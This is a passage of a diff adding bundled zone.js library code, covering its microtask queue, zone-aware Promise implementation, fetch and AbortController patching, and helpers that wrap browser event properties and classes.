+ return ZoneTask;
+ }());
+ //////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////
+ /// MICROTASK QUEUE
+ //////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////
+ var symbolSetTimeout = __symbol__('setTimeout');
+ var symbolPromise = __symbol__('Promise');
+ var symbolThen = __symbol__('then');
+ var _microTaskQueue = [];
+ var _isDrainingMicrotaskQueue = false;
+ var nativeMicroTaskQueuePromise;
+ function scheduleMicroTask(task) {
+ // if we are not running in any task, and there has not been anything scheduled
+ // we must bootstrap the initial task creation by manually scheduling the drain
+ if (_numberOfNestedTaskFrames === 0 && _microTaskQueue.length === 0) {
+ // We are not running in Task, so we need to kickstart the microtask queue.
+ if (!nativeMicroTaskQueuePromise) {
+ if (global[symbolPromise]) {
+ nativeMicroTaskQueuePromise = global[symbolPromise].resolve(0);
+ }
+ }
+ if (nativeMicroTaskQueuePromise) {
+ var nativeThen = nativeMicroTaskQueuePromise[symbolThen];
+ if (!nativeThen) {
+ // native Promise is not patchable, we need to use `then` directly
+ // issue 1078
+ nativeThen = nativeMicroTaskQueuePromise['then'];
+ }
+ nativeThen.call(nativeMicroTaskQueuePromise, drainMicroTaskQueue);
+ }
+ else {
+ global[symbolSetTimeout](drainMicroTaskQueue, 0);
+ }
+ }
+ task && _microTaskQueue.push(task);
+ }
+ function drainMicroTaskQueue() {
+ if (!_isDrainingMicrotaskQueue) {
+ _isDrainingMicrotaskQueue = true;
+ while (_microTaskQueue.length) {
+ var queue = _microTaskQueue;
+ _microTaskQueue = [];
+ for (var i = 0; i < queue.length; i++) {
+ var task = queue[i];
+ try {
+ task.zone.runTask(task, null, null);
+ }
+ catch (error) {
+ _api.onUnhandledError(error);
+ }
+ }
+ }
+ _api.microtaskDrainDone();
+ _isDrainingMicrotaskQueue = false;
+ }
+ }
+ //////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////
+ /// BOOTSTRAP
+ //////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////
+ var NO_ZONE = { name: 'NO ZONE' };
+ var notScheduled = 'notScheduled', scheduling = 'scheduling', scheduled = 'scheduled', running = 'running', canceling = 'canceling', unknown = 'unknown';
+ var microTask = 'microTask', macroTask = 'macroTask', eventTask = 'eventTask';
+ var patches = {};
+ var _api = {
+ symbol: __symbol__,
+ currentZoneFrame: function () { return _currentZoneFrame; },
+ onUnhandledError: noop,
+ microtaskDrainDone: noop,
+ scheduleMicroTask: scheduleMicroTask,
+ showUncaughtError: function () { return !Zone[__symbol__('ignoreConsoleErrorUncaughtError')]; },
+ patchEventTarget: function () { return []; },
+ patchOnProperties: noop,
+ patchMethod: function () { return noop; },
+ bindArguments: function () { return []; },
+ patchThen: function () { return noop; },
+ setNativePromise: function (NativePromise) {
+ // sometimes NativePromise.resolve static function
+ // is not ready yet, (such as core-js/es6.promise)
+ // so we need to check here.
+ if (NativePromise && typeof NativePromise.resolve === 'function') {
+ nativeMicroTaskQueuePromise = NativePromise.resolve(0);
+ }
+ },
+ };
+ var _currentZoneFrame = { parent: null, zone: new Zone(null, null) };
+ var _currentTask = null;
+ var _numberOfNestedTaskFrames = 0;
+ function noop() { }
+ function __symbol__(name) {
+ return '__zone_symbol__' + name;
+ }
+ performanceMeasure('Zone', 'Zone');
+ return global['Zone'] = Zone;
+})(typeof window !== 'undefined' && window || typeof self !== 'undefined' && self || global);
+
+var __values = (undefined && undefined.__values) || function (o) {
+ var m = typeof Symbol === "function" && o[Symbol.iterator], i = 0;
+ if (m) return m.call(o);
+ return {
+ next: function () {
+ if (o && i >= o.length) o = void 0;
+ return { value: o && o[i++], done: !o };
+ }
+ };
+};
+Zone.__load_patch('ZoneAwarePromise', function (global, Zone, api) {
+ var ObjectGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
+ var ObjectDefineProperty = Object.defineProperty;
+ function readableObjectToString(obj) {
+ if (obj && obj.toString === Object.prototype.toString) {
+ var className = obj.constructor && obj.constructor.name;
+ return (className ? className : '') + ': ' + JSON.stringify(obj);
+ }
+ return obj ? obj.toString() : Object.prototype.toString.call(obj);
+ }
+ var __symbol__ = api.symbol;
+ var _uncaughtPromiseErrors = [];
+ var symbolPromise = __symbol__('Promise');
+ var symbolThen = __symbol__('then');
+ var creationTrace = '__creationTrace__';
+ api.onUnhandledError = function (e) {
+ if (api.showUncaughtError()) {
+ var rejection = e && e.rejection;
+ if (rejection) {
+ console.error('Unhandled Promise rejection:', rejection instanceof Error ? rejection.message : rejection, '; Zone:', e.zone.name, '; Task:', e.task && e.task.source, '; Value:', rejection, rejection instanceof Error ? rejection.stack : undefined);
+ }
+ else {
+ console.error(e);
+ }
+ }
+ };
+ api.microtaskDrainDone = function () {
+ while (_uncaughtPromiseErrors.length) {
+ var _loop_1 = function () {
+ var uncaughtPromiseError = _uncaughtPromiseErrors.shift();
+ try {
+ uncaughtPromiseError.zone.runGuarded(function () {
+ throw uncaughtPromiseError;
+ });
+ }
+ catch (error) {
+ handleUnhandledRejection(error);
+ }
+ };
+ while (_uncaughtPromiseErrors.length) {
+ _loop_1();
+ }
+ }
+ };
+ var UNHANDLED_PROMISE_REJECTION_HANDLER_SYMBOL = __symbol__('unhandledPromiseRejectionHandler');
+ function handleUnhandledRejection(e) {
+ api.onUnhandledError(e);
+ try {
+ var handler = Zone[UNHANDLED_PROMISE_REJECTION_HANDLER_SYMBOL];
+ if (handler && typeof handler === 'function') {
+ handler.call(this, e);
+ }
+ }
+ catch (err) {
+ }
+ }
+ function isThenable(value) {
+ return value && value.then;
+ }
+ function forwardResolution(value) {
+ return value;
+ }
+ function forwardRejection(rejection) {
+ return ZoneAwarePromise.reject(rejection);
+ }
+ var symbolState = __symbol__('state');
+ var symbolValue = __symbol__('value');
+ var symbolFinally = __symbol__('finally');
+ var symbolParentPromiseValue = __symbol__('parentPromiseValue');
+ var symbolParentPromiseState = __symbol__('parentPromiseState');
+ var source = 'Promise.then';
+ var UNRESOLVED = null;
+ var RESOLVED = true;
+ var REJECTED = false;
+ var REJECTED_NO_CATCH = 0;
+ function makeResolver(promise, state) {
+ return function (v) {
+ try {
+ resolvePromise(promise, state, v);
+ }
+ catch (err) {
+ resolvePromise(promise, false, err);
+ }
+ // Do not return value or you will break the Promise spec.
+ };
+ }
+ var once = function () {
+ var wasCalled = false;
+ return function wrapper(wrappedFunction) {
+ return function () {
+ if (wasCalled) {
+ return;
+ }
+ wasCalled = true;
+ wrappedFunction.apply(null, arguments);
+ };
+ };
+ };
+ var TYPE_ERROR = 'Promise resolved with itself';
+ var CURRENT_TASK_TRACE_SYMBOL = __symbol__('currentTaskTrace');
+ // Promise Resolution
+ function resolvePromise(promise, state, value) {
+ var onceWrapper = once();
+ if (promise === value) {
+ throw new TypeError(TYPE_ERROR);
+ }
+ if (promise[symbolState] === UNRESOLVED) {
+ // should only get value.then once based on promise spec.
+ var then = null;
+ try {
+ if (typeof value === 'object' || typeof value === 'function') {
+ then = value && value.then;
+ }
+ }
+ catch (err) {
+ onceWrapper(function () {
+ resolvePromise(promise, false, err);
+ })();
+ return promise;
+ }
+ // if (value instanceof ZoneAwarePromise) {
+ if (state !== REJECTED && value instanceof ZoneAwarePromise &&
+ value.hasOwnProperty(symbolState) && value.hasOwnProperty(symbolValue) &&
+ value[symbolState] !== UNRESOLVED) {
+ clearRejectedNoCatch(value);
+ resolvePromise(promise, value[symbolState], value[symbolValue]);
+ }
+ else if (state !== REJECTED && typeof then === 'function') {
+ try {
+ then.call(value, onceWrapper(makeResolver(promise, state)), onceWrapper(makeResolver(promise, false)));
+ }
+ catch (err) {
+ onceWrapper(function () {
+ resolvePromise(promise, false, err);
+ })();
+ }
+ }
+ else {
+ promise[symbolState] = state;
+ var queue = promise[symbolValue];
+ promise[symbolValue] = value;
+ if (promise[symbolFinally] === symbolFinally) {
+ // the promise is generated by Promise.prototype.finally
+ if (state === RESOLVED) {
+ // the state is resolved, should ignore the value
+ // and use parent promise value
+ promise[symbolState] = promise[symbolParentPromiseState];
+ promise[symbolValue] = promise[symbolParentPromiseValue];
+ }
+ }
+ // record task information in value when error occurs, so we can
+ // do some additional work such as render longStackTrace
+ if (state === REJECTED && value instanceof Error) {
+ // check if longStackTraceZone is here
+ var trace = Zone.currentTask && Zone.currentTask.data &&
+ Zone.currentTask.data[creationTrace];
+ if (trace) {
+ // only keep the long stack trace into error when in longStackTraceZone
+ ObjectDefineProperty(value, CURRENT_TASK_TRACE_SYMBOL, { configurable: true, enumerable: false, writable: true, value: trace });
+ }
+ }
+ for (var i = 0; i < queue.length;) {
+ scheduleResolveOrReject(promise, queue[i++], queue[i++], queue[i++], queue[i++]);
+ }
+ if (queue.length == 0 && state == REJECTED) {
+ promise[symbolState] = REJECTED_NO_CATCH;
+ try {
+ // try to print more readable error log
+ throw new Error('Uncaught (in promise): ' + readableObjectToString(value) +
+ (value && value.stack ? '\n' + value.stack : ''));
+ }
+ catch (err) {
+ var error_1 = err;
+ error_1.rejection = value;
+ error_1.promise = promise;
+ error_1.zone = Zone.current;
+ error_1.task = Zone.currentTask;
+ _uncaughtPromiseErrors.push(error_1);
+ api.scheduleMicroTask(); // to make sure that it is running
+ }
+ }
+ }
+ }
+ // Resolving an already resolved promise is a noop.
+ return promise;
+ }
+ var REJECTION_HANDLED_HANDLER = __symbol__('rejectionHandledHandler');
+ function clearRejectedNoCatch(promise) {
+ if (promise[symbolState] === REJECTED_NO_CATCH) {
+ // if the promise is rejected no catch status
+ // and queue.length > 0, means there is a error handler
+ // here to handle the rejected promise, we should trigger
+ // windows.rejectionhandled eventHandler or nodejs rejectionHandled
+ // eventHandler
+ try {
+ var handler = Zone[REJECTION_HANDLED_HANDLER];
+ if (handler && typeof handler === 'function') {
+ handler.call(this, { rejection: promise[symbolValue], promise: promise });
+ }
+ }
+ catch (err) {
+ }
+ promise[symbolState] = REJECTED;
+ for (var i = 0; i < _uncaughtPromiseErrors.length; i++) {
+ if (promise === _uncaughtPromiseErrors[i].promise) {
+ _uncaughtPromiseErrors.splice(i, 1);
+ }
+ }
+ }
+ }
+ function scheduleResolveOrReject(promise, zone, chainPromise, onFulfilled, onRejected) {
+ clearRejectedNoCatch(promise);
+ var promiseState = promise[symbolState];
+ var delegate = promiseState ?
+ (typeof onFulfilled === 'function') ? onFulfilled : forwardResolution :
+ (typeof onRejected === 'function') ? onRejected : forwardRejection;
+ zone.scheduleMicroTask(source, function () {
+ try {
+ var parentPromiseValue = promise[symbolValue];
+ var isFinallyPromise = chainPromise && symbolFinally === chainPromise[symbolFinally];
+ if (isFinallyPromise) {
+ // if the promise is generated from finally call, keep parent promise's state and value
+ chainPromise[symbolParentPromiseValue] = parentPromiseValue;
+ chainPromise[symbolParentPromiseState] = promiseState;
+ }
+ // should not pass value to finally callback
+ var value = zone.run(delegate, undefined, isFinallyPromise && delegate !== forwardRejection && delegate !== forwardResolution ?
+ [] :
+ [parentPromiseValue]);
+ resolvePromise(chainPromise, true, value);
+ }
+ catch (error) {
+ // if error occurs, should always return this error
+ resolvePromise(chainPromise, false, error);
+ }
+ }, chainPromise);
+ }
+ var ZONE_AWARE_PROMISE_TO_STRING = 'function ZoneAwarePromise() { [native code] }';
+ var ZoneAwarePromise = /** @class */ (function () {
+ function ZoneAwarePromise(executor) {
+ var promise = this;
+ if (!(promise instanceof ZoneAwarePromise)) {
+ throw new Error('Must be an instanceof Promise.');
+ }
+ promise[symbolState] = UNRESOLVED;
+ promise[symbolValue] = []; // queue;
+ try {
+ executor && executor(makeResolver(promise, RESOLVED), makeResolver(promise, REJECTED));
+ }
+ catch (error) {
+ resolvePromise(promise, false, error);
+ }
+ }
+ ZoneAwarePromise.toString = function () {
+ return ZONE_AWARE_PROMISE_TO_STRING;
+ };
+ ZoneAwarePromise.resolve = function (value) {
+ return resolvePromise(new this(null), RESOLVED, value);
+ };
+ ZoneAwarePromise.reject = function (error) {
+ return resolvePromise(new this(null), REJECTED, error);
+ };
+ ZoneAwarePromise.race = function (values) {
+ var e_1, _a;
+ var resolve;
+ var reject;
+ var promise = new this(function (res, rej) {
+ resolve = res;
+ reject = rej;
+ });
+ function onResolve(value) {
+ promise && (promise = false || resolve(value));
+ }
+ function onReject(error) {
+ promise && (promise = false || reject(error));
+ }
+ try {
+ for (var values_1 = __values(values), values_1_1 = values_1.next(); !values_1_1.done; values_1_1 = values_1.next()) {
+ var value = values_1_1.value;
+ if (!isThenable(value)) {
+ value = this.resolve(value);
+ }
+ value.then(onResolve, onReject);
+ }
+ }
+ catch (e_1_1) { e_1 = { error: e_1_1 }; }
+ finally {
+ try {
+ if (values_1_1 && !values_1_1.done && (_a = values_1.return)) _a.call(values_1);
+ }
+ finally { if (e_1) throw e_1.error; }
+ }
+ return promise;
+ };
+ ZoneAwarePromise.all = function (values) {
+ var e_2, _a;
+ var resolve;
+ var reject;
+ var promise = new this(function (res, rej) {
+ resolve = res;
+ reject = rej;
+ });
+ // Start at 2 to prevent prematurely resolving if .then is called immediately.
+ var unresolvedCount = 2;
+ var valueIndex = 0;
+ var resolvedValues = [];
+ var _loop_2 = function (value) {
+ if (!isThenable(value)) {
+ value = this_1.resolve(value);
+ }
+ var curValueIndex = valueIndex;
+ value.then(function (value) {
+ resolvedValues[curValueIndex] = value;
+ unresolvedCount--;
+ if (unresolvedCount === 0) {
+ resolve(resolvedValues);
+ }
+ }, reject);
+ unresolvedCount++;
+ valueIndex++;
+ };
+ var this_1 = this;
+ try {
+ for (var values_2 = __values(values), values_2_1 = values_2.next(); !values_2_1.done; values_2_1 = values_2.next()) {
+ var value = values_2_1.value;
+ _loop_2(value);
+ }
+ }
+ catch (e_2_1) { e_2 = { error: e_2_1 }; }
+ finally {
+ try {
+ if (values_2_1 && !values_2_1.done && (_a = values_2.return)) _a.call(values_2);
+ }
+ finally { if (e_2) throw e_2.error; }
+ }
+ // Make the unresolvedCount zero-based again.
+ unresolvedCount -= 2;
+ if (unresolvedCount === 0) {
+ resolve(resolvedValues);
+ }
+ return promise;
+ };
+ ZoneAwarePromise.prototype.then = function (onFulfilled, onRejected) {
+ var chainPromise = new this.constructor(null);
+ var zone = Zone.current;
+ if (this[symbolState] == UNRESOLVED) {
+ this[symbolValue].push(zone, chainPromise, onFulfilled, onRejected);
+ }
+ else {
+ scheduleResolveOrReject(this, zone, chainPromise, onFulfilled, onRejected);
+ }
+ return chainPromise;
+ };
+ ZoneAwarePromise.prototype.catch = function (onRejected) {
+ return this.then(null, onRejected);
+ };
+ ZoneAwarePromise.prototype.finally = function (onFinally) {
+ var chainPromise = new this.constructor(null);
+ chainPromise[symbolFinally] = symbolFinally;
+ var zone = Zone.current;
+ if (this[symbolState] == UNRESOLVED) {
+ this[symbolValue].push(zone, chainPromise, onFinally, onFinally);
+ }
+ else {
+ scheduleResolveOrReject(this, zone, chainPromise, onFinally, onFinally);
+ }
+ return chainPromise;
+ };
+ return ZoneAwarePromise;
+ }());
+ // Protect against aggressive optimizers dropping seemingly unused properties.
+ // E.g. Closure Compiler in advanced mode.
+ ZoneAwarePromise['resolve'] = ZoneAwarePromise.resolve;
+ ZoneAwarePromise['reject'] = ZoneAwarePromise.reject;
+ ZoneAwarePromise['race'] = ZoneAwarePromise.race;
+ ZoneAwarePromise['all'] = ZoneAwarePromise.all;
+ var NativePromise = global[symbolPromise] = global['Promise'];
+ var ZONE_AWARE_PROMISE = Zone.__symbol__('ZoneAwarePromise');
+ var desc = ObjectGetOwnPropertyDescriptor(global, 'Promise');
+ if (!desc || desc.configurable) {
+ desc && delete desc.writable;
+ desc && delete desc.value;
+ if (!desc) {
+ desc = { configurable: true, enumerable: true };
+ }
+ desc.get = function () {
+ // if we already set ZoneAwarePromise, use patched one
+ // otherwise return native one.
+ return global[ZONE_AWARE_PROMISE] ? global[ZONE_AWARE_PROMISE] : global[symbolPromise];
+ };
+ desc.set = function (NewNativePromise) {
+ if (NewNativePromise === ZoneAwarePromise) {
+ // if the NewNativePromise is ZoneAwarePromise
+ // save to global
+ global[ZONE_AWARE_PROMISE] = NewNativePromise;
+ }
+ else {
+ // if the NewNativePromise is not ZoneAwarePromise
+ // for example: after load zone.js, some library just
+ // set es6-promise to global, if we set it to global
+ // directly, assertZonePatched will fail and angular
+ // will not loaded, so we just set the NewNativePromise
+ // to global[symbolPromise], so the result is just like
+ // we load ES6 Promise before zone.js
+ global[symbolPromise] = NewNativePromise;
+ if (!NewNativePromise.prototype[symbolThen]) {
+ patchThen(NewNativePromise);
+ }
+ api.setNativePromise(NewNativePromise);
+ }
+ };
+ ObjectDefineProperty(global, 'Promise', desc);
+ }
+ global['Promise'] = ZoneAwarePromise;
+ var symbolThenPatched = __symbol__('thenPatched');
+ function patchThen(Ctor) {
+ var proto = Ctor.prototype;
+ var prop = ObjectGetOwnPropertyDescriptor(proto, 'then');
+ if (prop && (prop.writable === false || !prop.configurable)) {
+ // check Ctor.prototype.then propertyDescriptor is writable or not
+ // in meteor env, writable is false, we should ignore such case
+ return;
+ }
+ var originalThen = proto.then;
+ // Keep a reference to the original method.
+ proto[symbolThen] = originalThen;
+ Ctor.prototype.then = function (onResolve, onReject) {
+ var _this = this;
+ var wrapped = new ZoneAwarePromise(function (resolve, reject) {
+ originalThen.call(_this, resolve, reject);
+ });
+ return wrapped.then(onResolve, onReject);
+ };
+ Ctor[symbolThenPatched] = true;
+ }
+ api.patchThen = patchThen;
+ if (NativePromise) {
+ patchThen(NativePromise);
+ }
+ // This is not part of public API, but it is useful for tests, so we expose it.
+ Promise[Zone.__symbol__('uncaughtPromiseErrors')] = _uncaughtPromiseErrors;
+ return ZoneAwarePromise;
+});
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+Zone.__load_patch('fetch', function (global, Zone, api) {
+ var fetch = global['fetch'];
+ var ZoneAwarePromise = global.Promise;
+ var symbolThenPatched = api.symbol('thenPatched');
+ var fetchTaskScheduling = api.symbol('fetchTaskScheduling');
+ var fetchTaskAborting = api.symbol('fetchTaskAborting');
+ if (typeof fetch !== 'function') {
+ return;
+ }
+ var OriginalAbortController = global['AbortController'];
+ var supportAbort = typeof OriginalAbortController === 'function';
+ var abortNative = null;
+ if (supportAbort) {
+ global['AbortController'] = function () {
+ var abortController = new OriginalAbortController();
+ var signal = abortController.signal;
+ signal.abortController = abortController;
+ return abortController;
+ };
+ abortNative = api.patchMethod(OriginalAbortController.prototype, 'abort', function (delegate) { return function (self, args) {
+ if (self.task) {
+ return self.task.zone.cancelTask(self.task);
+ }
+ return delegate.apply(self, args);
+ }; });
+ }
+ var placeholder = function () { };
+ global['fetch'] = function () {
+ var _this = this;
+ var args = Array.prototype.slice.call(arguments);
+ var options = args.length > 1 ? args[1] : null;
+ var signal = options && options.signal;
+ return new Promise(function (res, rej) {
+ var task = Zone.current.scheduleMacroTask('fetch', placeholder, args, function () {
+ var fetchPromise;
+ var zone = Zone.current;
+ try {
+ zone[fetchTaskScheduling] = true;
+ fetchPromise = fetch.apply(_this, args);
+ }
+ catch (error) {
+ rej(error);
+ return;
+ }
+ finally {
+ zone[fetchTaskScheduling] = false;
+ }
+ if (!(fetchPromise instanceof ZoneAwarePromise)) {
+ var ctor = fetchPromise.constructor;
+ if (!ctor[symbolThenPatched]) {
+ api.patchThen(ctor);
+ }
+ }
+ fetchPromise.then(function (resource) {
+ if (task.state !== 'notScheduled') {
+ task.invoke();
+ }
+ res(resource);
+ }, function (error) {
+ if (task.state !== 'notScheduled') {
+ task.invoke();
+ }
+ rej(error);
+ });
+ }, function () {
+ if (!supportAbort) {
+ rej('No AbortController supported, can not cancel fetch');
+ return;
+ }
+ if (signal && signal.abortController && !signal.aborted &&
+ typeof signal.abortController.abort === 'function' && abortNative) {
+ try {
+ Zone.current[fetchTaskAborting] = true;
+ abortNative.call(signal.abortController);
+ }
+ finally {
+ Zone.current[fetchTaskAborting] = false;
+ }
+ }
+ else {
+ rej('cancel fetch need a AbortController.signal');
+ }
+ });
+ if (signal && signal.abortController) {
+ signal.abortController.task = task;
+ }
+ });
+ };
+});
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+/**
+ * Suppress closure compiler errors about unknown 'Zone' variable
+ * @fileoverview
+ * @suppress {undefinedVars,globalThis,missingRequire}
+ */
+// issue #989, to reduce bundle size, use short name
+/** Object.getOwnPropertyDescriptor */
+var ObjectGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
+/** Object.defineProperty */
+var ObjectDefineProperty = Object.defineProperty;
+/** Object.getPrototypeOf */
+var ObjectGetPrototypeOf = Object.getPrototypeOf;
+/** Object.create */
+var ObjectCreate = Object.create;
+/** Array.prototype.slice */
+var ArraySlice = Array.prototype.slice;
+/** addEventListener string const */
+var ADD_EVENT_LISTENER_STR = 'addEventListener';
+/** removeEventListener string const */
+var REMOVE_EVENT_LISTENER_STR = 'removeEventListener';
+/** zoneSymbol addEventListener */
+var ZONE_SYMBOL_ADD_EVENT_LISTENER = Zone.__symbol__(ADD_EVENT_LISTENER_STR);
+/** zoneSymbol removeEventListener */
+var ZONE_SYMBOL_REMOVE_EVENT_LISTENER = Zone.__symbol__(REMOVE_EVENT_LISTENER_STR);
+/** true string const */
+var TRUE_STR = 'true';
+/** false string const */
+var FALSE_STR = 'false';
+/** __zone_symbol__ string const */
+var ZONE_SYMBOL_PREFIX = '__zone_symbol__';
+function wrapWithCurrentZone(callback, source) {
+ return Zone.current.wrap(callback, source);
+}
+function scheduleMacroTaskWithCurrentZone(source, callback, data, customSchedule, customCancel) {
+ return Zone.current.scheduleMacroTask(source, callback, data, customSchedule, customCancel);
+}
+var zoneSymbol = Zone.__symbol__;
+var isWindowExists = typeof window !== 'undefined';
+var internalWindow = isWindowExists ? window : undefined;
+var _global = isWindowExists && internalWindow || typeof self === 'object' && self || global;
+var REMOVE_ATTRIBUTE = 'removeAttribute';
+var NULL_ON_PROP_VALUE = [null];
+function bindArguments(args, source) {
+ for (var i = args.length - 1; i >= 0; i--) {
+ if (typeof args[i] === 'function') {
+ args[i] = wrapWithCurrentZone(args[i], source + '_' + i);
+ }
+ }
+ return args;
+}
+function patchPrototype(prototype, fnNames) {
+ var source = prototype.constructor['name'];
+ var _loop_1 = function (i) {
+ var name_1 = fnNames[i];
+ var delegate = prototype[name_1];
+ if (delegate) {
+ var prototypeDesc = ObjectGetOwnPropertyDescriptor(prototype, name_1);
+ if (!isPropertyWritable(prototypeDesc)) {
+ return "continue";
+ }
+ prototype[name_1] = (function (delegate) {
+ var patched = function () {
+ return delegate.apply(this, bindArguments(arguments, source + '.' + name_1));
+ };
+ attachOriginToPatched(patched, delegate);
+ return patched;
+ })(delegate);
+ }
+ };
+ for (var i = 0; i < fnNames.length; i++) {
+ _loop_1(i);
+ }
+}
+function isPropertyWritable(propertyDesc) {
+ if (!propertyDesc) {
+ return true;
+ }
+ if (propertyDesc.writable === false) {
+ return false;
+ }
+ return !(typeof propertyDesc.get === 'function' && typeof propertyDesc.set === 'undefined');
+}
+var isWebWorker = (typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope);
+// Make sure to access `process` through `_global` so that WebPack does not accidentally browserify
+// this code.
+var isNode = (!('nw' in _global) && typeof _global.process !== 'undefined' &&
+ {}.toString.call(_global.process) === '[object process]');
+var isBrowser = !isNode && !isWebWorker && !!(isWindowExists && internalWindow['HTMLElement']);
+// we are in electron of nw, so we are both browser and nodejs
+// Make sure to access `process` through `_global` so that WebPack does not accidentally browserify
+// this code.
+var isMix = typeof _global.process !== 'undefined' &&
+ {}.toString.call(_global.process) === '[object process]' && !isWebWorker &&
+ !!(isWindowExists && internalWindow['HTMLElement']);
+var zoneSymbolEventNames = {};
+var wrapFn = function (event) {
+ // https://github.com/angular/zone.js/issues/911, in IE, sometimes
+ // event will be undefined, so we need to use window.event
+ event = event || _global.event;
+ if (!event) {
+ return;
+ }
+ var eventNameSymbol = zoneSymbolEventNames[event.type];
+ if (!eventNameSymbol) {
+ eventNameSymbol = zoneSymbolEventNames[event.type] = zoneSymbol('ON_PROPERTY' + event.type);
+ }
+ var target = this || event.target || _global;
+ var listener = target[eventNameSymbol];
+ var result;
+ if (isBrowser && target === internalWindow && event.type === 'error') {
+ // window.onerror have different signiture
+ // https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onerror#window.onerror
+ // and onerror callback will prevent default when callback return true
+ var errorEvent = event;
+ result = listener &&
+ listener.call(this, errorEvent.message, errorEvent.filename, errorEvent.lineno, errorEvent.colno, errorEvent.error);
+ if (result === true) {
+ event.preventDefault();
+ }
+ }
+ else {
+ result = listener && listener.apply(this, arguments);
+ if (result != undefined && !result) {
+ event.preventDefault();
+ }
+ }
+ return result;
+};
+function patchProperty(obj, prop, prototype) {
+ var desc = ObjectGetOwnPropertyDescriptor(obj, prop);
+ if (!desc && prototype) {
+ // when patch window object, use prototype to check prop exist or not
+ var prototypeDesc = ObjectGetOwnPropertyDescriptor(prototype, prop);
+ if (prototypeDesc) {
+ desc = { enumerable: true, configurable: true };
+ }
+ }
+ // if the descriptor not exists or is not configurable
+ // just return
+ if (!desc || !desc.configurable) {
+ return;
+ }
+ var onPropPatchedSymbol = zoneSymbol('on' + prop + 'patched');
+ if (obj.hasOwnProperty(onPropPatchedSymbol) && obj[onPropPatchedSymbol]) {
+ return;
+ }
+ // A property descriptor cannot have getter/setter and be writable
+ // deleting the writable and value properties avoids this error:
+ //
+ // TypeError: property descriptors must not specify a value or be writable when a
+ // getter or setter has been specified
+ delete desc.writable;
+ delete desc.value;
+ var originalDescGet = desc.get;
+ var originalDescSet = desc.set;
+ // substr(2) cuz 'onclick' -> 'click', etc
+ var eventName = prop.substr(2);
+ var eventNameSymbol = zoneSymbolEventNames[eventName];
+ if (!eventNameSymbol) {
+ eventNameSymbol = zoneSymbolEventNames[eventName] = zoneSymbol('ON_PROPERTY' + eventName);
+ }
+ desc.set = function (newValue) {
+ // in some of windows's onproperty callback, this is undefined
+ // so we need to check it
+ var target = this;
+ if (!target && obj === _global) {
+ target = _global;
+ }
+ if (!target) {
+ return;
+ }
+ var previousValue = target[eventNameSymbol];
+ if (previousValue) {
+ target.removeEventListener(eventName, wrapFn);
+ }
+ // issue #978, when onload handler was added before loading zone.js
+ // we should remove it with originalDescSet
+ if (originalDescSet) {
+ originalDescSet.apply(target, NULL_ON_PROP_VALUE);
+ }
+ if (typeof newValue === 'function') {
+ target[eventNameSymbol] = newValue;
+ target.addEventListener(eventName, wrapFn, false);
+ }
+ else {
+ target[eventNameSymbol] = null;
+ }
+ };
+ // The getter would return undefined for unassigned properties but the default value of an
+ // unassigned property is null
+ desc.get = function () {
+ // in some of windows's onproperty callback, this is undefined
+ // so we need to check it
+ var target = this;
+ if (!target && obj === _global) {
+ target = _global;
+ }
+ if (!target) {
+ return null;
+ }
+ var listener = target[eventNameSymbol];
+ if (listener) {
+ return listener;
+ }
+ else if (originalDescGet) {
+ // result will be null when use inline event attribute,
+ // such as
+ // because the onclick function is internal raw uncompiled handler
+ // the onclick will be evaluated when first time event was triggered or
+ // the property is accessed, https://github.com/angular/zone.js/issues/525
+ // so we should use original native get to retrieve the handler
+ var value = originalDescGet && originalDescGet.call(this);
+ if (value) {
+ desc.set.call(this, value);
+ if (typeof target[REMOVE_ATTRIBUTE] === 'function') {
+ target.removeAttribute(prop);
+ }
+ return value;
+ }
+ }
+ return null;
+ };
+ ObjectDefineProperty(obj, prop, desc);
+ obj[onPropPatchedSymbol] = true;
+}
+function patchOnProperties(obj, properties, prototype) {
+ if (properties) {
+ for (var i = 0; i < properties.length; i++) {
+ patchProperty(obj, 'on' + properties[i], prototype);
+ }
+ }
+ else {
+ var onProperties = [];
+ for (var prop in obj) {
+ if (prop.substr(0, 2) == 'on') {
+ onProperties.push(prop);
+ }
+ }
+ for (var j = 0; j < onProperties.length; j++) {
+ patchProperty(obj, onProperties[j], prototype);
+ }
+ }
+}
+var originalInstanceKey = zoneSymbol('originalInstance');
+// wrap some native API on `window`
+function patchClass(className) {
+ var OriginalClass = _global[className];
+ if (!OriginalClass)
+ return;
+ // keep original class in global
+ _global[zoneSymbol(className)] = OriginalClass;
+ _global[className] = function () {
+ var a = bindArguments(arguments, className);
+ switch (a.length) {
+ case 0:
+ this[originalInstanceKey] = new OriginalClass();
+ break;
+ case 1:
+ this[originalInstanceKey] = new OriginalClass(a[0]);
+ break;
+ case 2:
+ this[originalInstanceKey] = new OriginalClass(a[0], a[1]);
+ break;
+ case 3:
+ this[originalInstanceKey] = new OriginalClass(a[0], a[1], a[2]);
+ break;
+ case 4:
+ this[originalInstanceKey] = new OriginalClass(a[0], a[1], a[2], a[3]);
+ break;
+ default:
+ throw new Error('Arg list too long.');
+ }
+ };
+ // attach original delegate to patched function
+ attachOriginToPatched(_global[className], OriginalClass);
+ var instance = new OriginalClass(function () { });
+ var prop;
+ for (prop in instance) {
+ // https://bugs.webkit.org/show_bug.cgi?id=44721
+ if (className === 'XMLHttpRequest' && prop === 'responseBlob')
+ continue;
+ (function (prop) {
+ if (typeof instance[prop] === 'function') {
+ _global[className].prototype[prop] = function () {
+ return this[originalInstanceKey][prop].apply(this[originalInstanceKey], arguments);
+ };
+ }
+ else {
+ ObjectDefineProperty(_global[className].prototype, prop, {
+ set: function (fn) {
+ if (typeof fn === 'function') {
+ this[originalInstanceKey][prop] = wrapWithCurrentZone(fn, className + '.' + prop);
+ // keep callback in wrapped function so we can
+ // use it in Function.prototype.toString to return
+ // the native one.
+ attachOriginToPatched(this[originalInstanceKey][prop], fn);
+ }
+ else {
